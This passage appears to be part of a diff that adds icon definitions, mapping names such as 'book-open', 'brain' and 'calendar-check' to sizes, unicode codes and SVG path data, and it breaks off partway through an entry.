358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16q0-9.6-9.6-19.2c-3.2-16-3.2-60.8 0-73.6q9.6-4.8 9.6-19.2zM144 168a8 8 0 0 1 8-8h56v-56a8 8 0 0 1 8-8h48a8 8 0 0 1 8 8v56h56a8 8 0 0 1 8 8v48a8 8 0 0 1-8 8h-56v56a8 8 0 0 1-8 8h-48a8 8 0 0 1-8-8v-56h-56a8 8 0 0 1-8-8zm236.8 280H96c-19.2 0-32-12.8-32-32s16-32 32-32h284.8z"], + "book-open": [576, 512, [], "f518", "M542.22 32.05c-54.8 3.11-163.72 14.43-230.96 55.59-4.64 2.84-7.27 7.89-7.27 13.17v363.87c0 11.55 12.63 18.85 23.28 13.49 69.18-34.82 169.23-44.32 218.7-46.92 16.89-.89 30.02-14.43 30.02-30.66V62.75c.01-17.71-15.35-31.74-33.77-30.7zM264.73 87.64C197.5 46.48 88.58 35.17 33.78 32.05 15.36 31.01 0 45.04 0 62.75V400.6c0 16.24 13.13 29.78 30.02 30.66 49.49 2.6 149.59 12.11 218.77 46.95 10.62 5.35 23.21-1.94 23.21-13.46V100.63c0-5.29-2.62-10.14-7.27-12.99z"], + "book-reader": [512, 512, [], "f5da", "M352 96c0-53.02-42.98-96-96-96s-96 42.98-96 96 42.98 96 96 96 96-42.98 96-96zM233.59 241.1c-59.33-36.32-155.43-46.3-203.79-49.05C13.55 191.13 0 203.51 0 219.14v222.8c0 14.33 11.59 26.28 26.49 27.05 43.66 2.29 131.99 10.68 193.04 41.43 9.37 4.72 20.48-1.71 20.48-11.87V252.56c-.01-4.67-2.32-8.95-6.42-11.46zm248.61-49.05c-48.35 2.74-144.46 12.73-203.78 49.05-4.1 2.51-6.41 6.96-6.41 11.63v245.79c0 10.19 11.14 16.63 20.54 11.9 61.04-30.72 149.32-39.11 192.97-41.4 14.9-.78 26.49-12.73 26.49-27.06V219.14c-.01-15.63-13.56-28.01-29.81-27.09z"], + "bookmark": [384, 512, [], "f02e", "M0 512V48C0 21.49 21.49 0 48 0h288c26.51 0 48 21.49 48 48v464L192 400 0 512z"], + "border-all": [448, 512, [], "f84c", "M416 32H32A32 32 0 0 0 0 64v384a32 32 0 0 0 32 32h384a32 32 0 0 0 32-32V64a32 32 0 0 0-32-32zm-32 64v128H256V96zm-192 0v128H64V96zM64 416V288h128v128zm192 0V288h128v128z"], + "border-none": [448, 512, [], "f850", "M240 224h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-288 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM240 320h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-96 288h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96-384h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zM48 224H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 192H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-192H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"], + "border-style": [448, 512, [], "f853", "M240 416h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm192 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96-192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 96h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 96h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-288h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96H32A32 32 0 0 0 0 64v400a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V96h368a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"], + "bowling-ball": [496, 512, [], "f436", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM120 192c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm64-96c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm48 144c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"], + "box": [512, 512, [], "f466", "M509.5 184.6L458.9 32.8C452.4 13.2 434.1 0 413.4 0H272v192h238.7c-.4-2.5-.4-5-1.2-7.4zM240 0H98.6c-20.7 0-39 13.2-45.5 32.8L2.5 184.6c-.8 2.4-.8 4.9-1.2 7.4H240V0zM0 224v240c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V224H0z"], + "box-open": [640, 512, [], "f49e", "M425.7 256c-16.9 0-32.8-9-41.4-23.4L320 126l-64.2 106.6c-8.7 14.5-24.6 23.5-41.5 23.5-4.5 0-9-.6-13.3-1.9L64 215v178c0 14.7 10 27.5 24.2 31l216.2 54.1c10.2 2.5 20.9 2.5 31 0L551.8 424c14.2-3.6 24.2-16.4 24.2-31V215l-137 39.1c-4.3 1.3-8.8 1.9-13.3 1.9zm212.6-112.2L586.8 41c-3.1-6.2-9.8-9.8-16.7-8.9L320 64l91.7 152.1c3.8 6.3 11.4 9.3 18.5 7.3l197.9-56.5c9.9-2.9 14.7-13.9 10.2-23.1zM53.2 41L1.7 143.8c-4.6 9.2.3 20.2 10.1 23l197.9 56.5c7.1 2 14.7-1 18.5-7.3L320 64 69.8 32.1c-6.9-.8-13.5 2.7-16.6 8.9z"], + "box-tissue": [512, 512, [], "e05b", "M383.88,287.82l64-192H338.47a70.2,70.2,0,0,1-66.59-48,70.21,70.21,0,0,0-66.6-48H63.88l64,288Zm-384,192a32,32,0,0,0,32,32h448a32,32,0,0,0,32-32v-64H-.12Zm480-256H438.94l-21.33,64h14.27a16,16,0,0,1,0,32h-352a16,16,0,1,1,0-32H95.09l-14.22-64h-49a32,32,0,0,0-32,32v128h512v-128A32,32,0,0,0,479.88,223.82Z"], + "boxes": [576, 512, [], "f468", "M560 288h-80v96l-32-21.3-32 21.3v-96h-80c-8.8 0-16 7.2-16 16v192c0 8.8 7.2 16 16 16h224c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16zm-384-64h224c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16h-80v96l-32-21.3L256 96V0h-80c-8.8 0-16 7.2-16 16v192c0 8.8 7.2 16 16 16zm64 64h-80v96l-32-21.3L96 384v-96H16c-8.8 0-16 7.2-16 16v192c0 8.8 7.2 16 16 16h224c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16z"], + "braille": [640, 512, [], "f2a1", "M128 256c0 35.346-28.654 64-64 64S0 291.346 0 256s28.654-64 64-64 64 28.654 64 64zM64 384c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-352C28.654 32 0 60.654 0 96s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64zm160 192c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0 160c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-352c-35.346 0-64 28.654-64 64s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64zm224 192c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0 160c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-352c-35.346 0-64 28.654-64 64s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64zm160 192c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0 160c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-320c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32z"], + "brain": [576, 512, [], "f5dc", "M208 0c-29.9 0-54.7 20.5-61.8 48.2-.8 0-1.4-.2-2.2-.2-35.3 0-64 28.7-64 64 0 4.8.6 9.5 1.7 14C52.5 138 32 166.6 32 200c0 12.6 3.2 24.3 8.3 34.9C16.3 248.7 0 274.3 0 304c0 33.3 20.4 61.9 49.4 73.9-.9 4.6-1.4 9.3-1.4 14.1 0 39.8 32.2 72 72 72 4.1 0 8.1-.5 12-1.2 9.6 28.5 36.2 49.2 68 49.2 39.8 0 72-32.2 72-72V64c0-35.3-28.7-64-64-64zm368 304c0-29.7-16.3-55.3-40.3-69.1 5.2-10.6 8.3-22.3 8.3-34.9 0-33.4-20.5-62-49.7-74 1-4.5 1.7-9.2 1.7-14 0-35.3-28.7-64-64-64-.8 0-1.5.2-2.2.2C422.7 20.5 397.9 0 368 0c-35.3 0-64 28.6-64 64v376c0 39.8 32.2 72 72 72 31.8 0 58.4-20.7 68-49.2 3.9.7 7.9 1.2 12 1.2 39.8 0 72-32.2 72-72 0-4.8-.5-9.5-1.4-14.1 29-12 49.4-40.6 49.4-73.9z"], + "bread-slice": [576, 512, [], "f7ec", "M288 0C108 0 0 93.4 0 169.14 0 199.44 24.24 224 64 224v256c0 17.67 16.12 32 36 32h376c19.88 0 36-14.33 36-32V224c39.76 0 64-24.56 64-54.86C576 93.4 468 0 288 0z"], + "briefcase": [512, 512, [], "f0b1", "M320 336c0 8.84-7.16 16-16 16h-96c-8.84 0-16-7.16-16-16v-48H0v144c0 25.6 22.4 48 48 48h416c25.6 0 48-22.4 48-48V288H320v48zm144-208h-80V80c0-25.6-22.4-48-48-48H176c-25.6 0-48 22.4-48 48v48H48c-25.6 0-48 22.4-48 48v80h512v-80c0-25.6-22.4-48-48-48zm-144 0H192V96h128v32z"], + "briefcase-medical": [512, 512, [], "f469", "M464 128h-80V80c0-26.5-21.5-48-48-48H176c-26.5 0-48 21.5-48 48v48H48c-26.5 0-48 21.5-48 48v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V176c0-26.5-21.5-48-48-48zM192 96h128v32H192V96zm160 248c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48z"], + "broadcast-tower": [640, 512, [], "f519", "M150.94 192h33.73c11.01 0 18.61-10.83 14.86-21.18-4.93-13.58-7.55-27.98-7.55-42.82s2.62-29.24 7.55-42.82C203.29 74.83 195.68 64 184.67 64h-33.73c-7.01 0-13.46 4.49-15.41 11.23C130.64 92.21 128 109.88 128 128c0 18.12 2.64 35.79 7.54 52.76 1.94 6.74 8.39 11.24 15.4 11.24zM89.92 23.34C95.56 12.72 87.97 0 75.96 0H40.63c-6.27 0-12.14 3.59-14.74 9.31C9.4 45.54 0 85.65 0 128c0 24.75 3.12 68.33 26.69 118.86 2.62 5.63 8.42 9.14 14.61 9.14h34.84c12.02 0 19.61-12.74 13.95-23.37-49.78-93.32-16.71-178.15-.17-209.29zM614.06 9.29C611.46 3.58 605.6 0 599.33 0h-35.42c-11.98 0-19.66 12.66-14.02 23.25 18.27 34.29 48.42 119.42.28 209.23-5.72 10.68 1.8 23.52 13.91 23.52h35.23c6.27 0 12.13-3.58 14.73-9.29C630.57 210.48 640 170.36 640 128s-9.42-82.48-25.94-118.71zM489.06 64h-33.73c-11.01 0-18.61 10.83-14.86 21.18 4.93 13.58 7.55 27.98 7.55 42.82s-2.62 29.24-7.55 42.82c-3.76 10.35 3.85 21.18 14.86 21.18h33.73c7.02 0 13.46-4.49 15.41-11.24 4.9-16.97 7.53-34.64 7.53-52.76 0-18.12-2.64-35.79-7.54-52.76-1.94-6.75-8.39-11.24-15.4-11.24zm-116.3 100.12c7.05-10.29 11.2-22.71 11.2-36.12 0-35.35-28.63-64-63.96-64-35.32 0-63.96 28.65-63.96 64 0 13.41 4.15 25.83 11.2 36.12l-130.5 313.41c-3.4 8.15.46 17.52 8.61 20.92l29.51 12.31c8.15 3.4 17.52-.46 20.91-8.61L244.96 384h150.07l49.2 118.15c3.4 8.16 12.76 12.01 20.91 8.61l29.51-12.31c8.15-3.4 12-12.77 8.61-20.92l-130.5-313.41zM271.62 320L320 203.81 368.38 320h-96.76z"], + "broom": [640, 512, [], "f51a", "M256.47 216.77l86.73 109.18s-16.6 102.36-76.57 150.12C206.66 523.85 0 510.19 0 510.19s3.8-23.14 11-55.43l94.62-112.17c3.97-4.7-.87-11.62-6.65-9.5l-60.4 22.09c14.44-41.66 32.72-80.04 54.6-97.47 59.97-47.76 163.3-40.94 163.3-40.94zM636.53 31.03l-19.86-25c-5.49-6.9-15.52-8.05-22.41-2.56l-232.48 177.8-34.14-42.97c-5.09-6.41-15.14-5.21-18.59 2.21l-25.33 54.55 86.73 109.18 58.8-12.45c8-1.69 11.42-11.2 6.34-17.6l-34.09-42.92 232.48-177.8c6.89-5.48 8.04-15.53 2.55-22.44z"], + "brush": [384, 512, [], "f55d", "M352 0H32C14.33 0 0 14.33 0 32v224h384V32c0-17.67-14.33-32-32-32zM0 320c0 35.35 28.66 64 64 64h64v64c0 35.35 28.66 64 64 64s64-28.65 64-64v-64h64c35.34 0 64-28.65 64-64v-32H0v32zm192 104c13.25 0 24 10.74 24 24 0 13.25-10.75 24-24 24s-24-10.75-24-24c0-13.26 10.75-24 24-24z"], + "bug": [512, 512, [], "f188", "M511.988 288.9c-.478 17.43-15.217 31.1-32.653 31.1H424v16c0 21.864-4.882 42.584-13.6 61.145l60.228 60.228c12.496 12.497 12.496 32.758 0 45.255-12.498 12.497-32.759 12.496-45.256 0l-54.736-54.736C345.886 467.965 314.351 480 280 480V236c0-6.627-5.373-12-12-12h-24c-6.627 0-12 5.373-12 12v244c-34.351 0-65.886-12.035-90.636-32.108l-54.736 54.736c-12.498 12.497-32.759 12.496-45.256 0-12.496-12.497-12.496-32.758 0-45.255l60.228-60.228C92.882 378.584 88 357.864 88 336v-16H32.666C15.23 320 .491 306.33.013 288.9-.484 270.816 14.028 256 32 256h56v-58.745l-46.628-46.628c-12.496-12.497-12.496-32.758 0-45.255 12.498-12.497 32.758-12.497 45.256 0L141.255 160h229.489l54.627-54.627c12.498-12.497 32.758-12.497 45.256 0 12.496 12.497 12.496 32.758 0 45.255L424 197.255V256h56c17.972 0 32.484 14.816 31.988 32.9zM257 0c-61.856 0-112 50.144-112 112h224C369 50.144 318.856 0 257 0z"], + "building": [448, 512, [], "f1ad", "M436 480h-20V24c0-13.255-10.745-24-24-24H56C42.745 0 32 10.745 32 24v456H12c-6.627 0-12 5.373-12 12v20h448v-20c0-6.627-5.373-12-12-12zM128 76c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12V76zm0 96c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12v-40zm52 148h-40c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12zm76 160h-64v-84c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v84zm64-172c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40zm0-96c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40zm0-96c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12V76c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40z"], + "bullhorn": [576, 512, [], "f0a1", "M576 240c0-23.63-12.95-44.04-32-55.12V32.01C544 23.26 537.02 0 512 0c-7.12 0-14.19 2.38-19.98 7.02l-85.03 68.03C364.28 109.19 310.66 128 256 128H64c-35.35 0-64 28.65-64 64v96c0 35.35 28.65 64 64 64h33.7c-1.39 10.48-2.18 21.14-2.18 32 0 39.77 9.26 77.35 25.56 110.94 5.19 10.69 16.52 17.06 28.4 17.06h74.28c26.05 0 41.69-29.84 25.9-50.56-16.4-21.52-26.15-48.36-26.15-77.44 0-11.11 1.62-21.79 4.41-32H256c54.66 0 108.28 18.81 150.98 52.95l85.03 68.03a32.023 32.023 0 0 0 19.98 7.02c24.92 0 32-22.78 32-32V295.13C563.05 284.04 576 263.63 576 240zm-96 141.42l-33.05-26.44C392.95 311.78 325.12 288 256 288v-96c69.12 0 136.95-23.78 190.95-66.98L480 98.58v282.84z"], + "bullseye": [496, 512, [], "f140", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 432c-101.69 0-184-82.29-184-184 0-101.69 82.29-184 184-184 101.69 0 184 82.29 184 184 0 101.69-82.29 184-184 184zm0-312c-70.69 0-128 57.31-128 128s57.31 128 128 128 128-57.31 128-128-57.31-128-128-128zm0 192c-35.29 0-64-28.71-64-64s28.71-64 64-64 64 28.71 64 64-28.71 64-64 64z"], + "burn": [384, 512, [], "f46a", "M192 0C79.7 101.3 0 220.9 0 300.5 0 425 79 512 192 512s192-87 192-211.5c0-79.9-80.2-199.6-192-300.5zm0 448c-56.5 0-96-39-96-94.8 0-13.5 4.6-61.5 96-161.2 91.4 99.7 96 147.7 96 161.2 0 55.8-39.5 94.8-96 94.8z"], + "bus": [512, 512, [], "f207", "M488 128h-8V80c0-44.8-99.2-80-224-80S32 35.2 32 80v48h-8c-13.25 0-24 10.74-24 24v80c0 13.25 10.75 24 24 24h8v160c0 17.67 14.33 32 32 32v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h192v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h6.4c16 0 25.6-12.8 25.6-25.6V256h8c13.25 0 24-10.75 24-24v-80c0-13.26-10.75-24-24-24zM112 400c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm16-112c-17.67 0-32-14.33-32-32V128c0-17.67 14.33-32 32-32h256c17.67 0 32 14.33 32 32v128c0 17.67-14.33 32-32 32H128zm272 112c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"], + "bus-alt": [512, 512, [], "f55e", "M488 128h-8V80c0-44.8-99.2-80-224-80S32 35.2 32 80v48h-8c-13.25 0-24 10.74-24 24v80c0 13.25 10.75 24 24 24h8v160c0 17.67 14.33 32 32 32v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h192v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h6.4c16 0 25.6-12.8 25.6-25.6V256h8c13.25 0 24-10.75 24-24v-80c0-13.26-10.75-24-24-24zM160 72c0-4.42 3.58-8 8-8h176c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H168c-4.42 0-8-3.58-8-8V72zm-48 328c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm128-112H128c-17.67 0-32-14.33-32-32v-96c0-17.67 14.33-32 32-32h112v160zm32 0V128h112c17.67 0 32 14.33 32 32v96c0 17.67-14.33 32-32 32H272zm128 112c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"], + "business-time": [640, 512, [], "f64a", "M496 224c-79.59 0-144 64.41-144 144s64.41 144 144 144 144-64.41 144-144-64.41-144-144-144zm64 150.29c0 5.34-4.37 9.71-9.71 9.71h-60.57c-5.34 0-9.71-4.37-9.71-9.71v-76.57c0-5.34 4.37-9.71 9.71-9.71h12.57c5.34 0 9.71 4.37 9.71 9.71V352h38.29c5.34 0 9.71 4.37 9.71 9.71v12.58zM496 192c5.4 0 10.72.33 16 .81V144c0-25.6-22.4-48-48-48h-80V48c0-25.6-22.4-48-48-48H176c-25.6 0-48 22.4-48 48v48H48c-25.6 0-48 22.4-48 48v80h395.12c28.6-20.09 63.35-32 100.88-32zM320 96H192V64h128v32zm6.82 224H208c-8.84 0-16-7.16-16-16v-48H0v144c0 25.6 22.4 48 48 48h291.43C327.1 423.96 320 396.82 320 368c0-16.66 2.48-32.72 6.82-48z"], + "calculator": [448, 512, [], "f1ec", "M400 0H48C22.4 0 0 22.4 0 48v416c0 25.6 22.4 48 48 48h352c25.6 0 48-22.4 48-48V48c0-25.6-22.4-48-48-48zM128 435.2c0 6.4-6.4 12.8-12.8 12.8H76.8c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm0-128c0 6.4-6.4 12.8-12.8 12.8H76.8c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm128 128c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm0-128c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm128 128c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8V268.8c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v166.4zm0-256c0 6.4-6.4 12.8-12.8 12.8H76.8c-6.4 0-12.8-6.4-12.8-12.8V76.8C64 70.4 70.4 64 76.8 64h294.4c6.4 0 12.8 6.4 12.8 12.8v102.4z"], + "calendar": [448, 512, [], "f133", "M12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm436-44v-36c0-26.5-21.5-48-48-48h-48V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H160V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H48C21.5 64 0 85.5 0 112v36c0 6.6 5.4 12 12 12h424c6.6 0 12-5.4 12-12z"], + "calendar-alt": [448, 512, [], "f073", "M0 464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V192H0v272zm320-196c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zm0 128c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zM192 268c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zm0 128c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zM64 268c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12v-40zm0 128c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12v-40zM400 64h-48V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H160V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H48C21.5 64 0 85.5 0 112v48h448v-48c0-26.5-21.5-48-48-48z"], + "calendar-check": [448, 512, [], "f274", "M436 160H12c-6.627 0-12-5.373-12-12v-36c0-26.51 21.49-48 48-48h48V12c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v52h128V12c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v52h48c26.51 0 48 21.49 48 48v36c0 6.627-5.373 12-12 12zM12 192h424c6.627 0 12 5.373 12 12v260c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V204c0-6.627 5.373-12 12-12zm333.296 95.947l-28.169-28.398c-4.667-4.705-12.265-4.736-16.97-.068L194.12 364.665l-45.98-46.352c-4.667-4.705-12.266-4.736-16.971-.068l-28.397 28.17c-4.705 4.667-4.736 12.265-.068 16.97l82.601 83.269c4.667 4.705 12.265 4.736 16.97.068l142.953-141.805c4.705-4.667 4.736-12.265.068-16.97z"], + "calendar-day": [448, 512, [], "f783", "M0 464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V192H0v272zm64-192c0-8.8 7.2-16 16-16h96c8.8 0 16 7.2 16 16v96c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16v-96zM400 64h-48V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H160V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H48C21.5 64 0 85.5 0 112v48h448v-48c0-26.5-21.5-48-48-48z"], + "calendar-minus": [448, 512, [], "f272", "M436 160H12c-6.6 0-12-5.4-12-12v-36c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48v36c0 6.6-5.4 12-12 12zM12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm304 192c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12H132c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h184z"], + "calendar-plus": [448, 512, [], "f271", "M436 160H12c-6.6 0-12-5.4-12-12v-36c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48v36c0 6.6-5.4 12-12 12zM12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm316 140c0-6.6-5.4-12-12-12h-60v-60c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v60h-60c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h60v60c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-60h60c6.6 0 12-5.4 12-12v-40z"], + "calendar-times": [448, 512, [], "f273", "M436 160H12c-6.6 0-12-5.4-12-12v-36c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 